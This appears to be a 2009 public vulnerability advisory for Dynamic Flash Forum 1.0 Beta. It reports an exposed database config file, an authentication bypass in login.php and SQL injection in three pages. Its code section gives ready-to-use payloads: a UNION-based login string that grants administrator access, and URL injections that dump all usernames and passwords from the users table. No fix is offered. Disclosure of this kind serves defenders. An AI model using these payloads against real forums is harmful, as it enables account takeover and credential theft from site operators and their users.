Dynamic Flash Forum 1.0 Beta Multiple Remote Vulnerabilities

******* Salvatore "drosophila" Fresta *******

[+] Application: Dynamic Flash Forum
[+] Version: 1.0 Beta
[+] Website: http://df2.sourceforge.net/

[+] Bugs: [A] Information Disclosure
[B] Authentication Bypass
[C] Multiple SQL Injection

[+] Exploitation: Remote
[+] Date: 09 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: [email protected]

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[+] Menu

1) Bugs
2) Code
3) Fix

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[+] Bugs

• [A] Information Disclosure

[-] File affected: config.inc

This file contains reserved informations such as
the username and the password for connecting to
the database. Using .inc extension only, the
content is visible.

• [B] Authentication Bypass

[-] Requisites: magic_quotes_gpc = off
[-] File affected: login.php

This bug allows a guest to bypass the authentication
system and to login with administrator privileges.

• [C] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: viewprofile.php, viewmessage.php,
viewthreads.php

This bug allows a guest to execute arbitrary
queries.

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[+] Code

• [A] Information Disclosure

http://www.site.com/path/config.inc

• [B] Authentication Bypass

Username: -1' UNION ALL SELECT 'password', 1, 'Administrator' FROM users%23
Password: password

• [C] Multiple SQL Injection

http://www.site.com/path/viewprofile.php?userID=-1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a,
password)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users%23

http://www.site.com/path/viewmessage.php?threadID=-1' UNION ALL SELECT
NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a,
password)),NULL,NULL,NULL FROM users%23

http://www.site.com/path/viewthreads.php?boardID=-1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a,
password)) FROM users%23

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[+] Fix

No fix.

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–
Salvatore "drosophila" Fresta
CWNP444351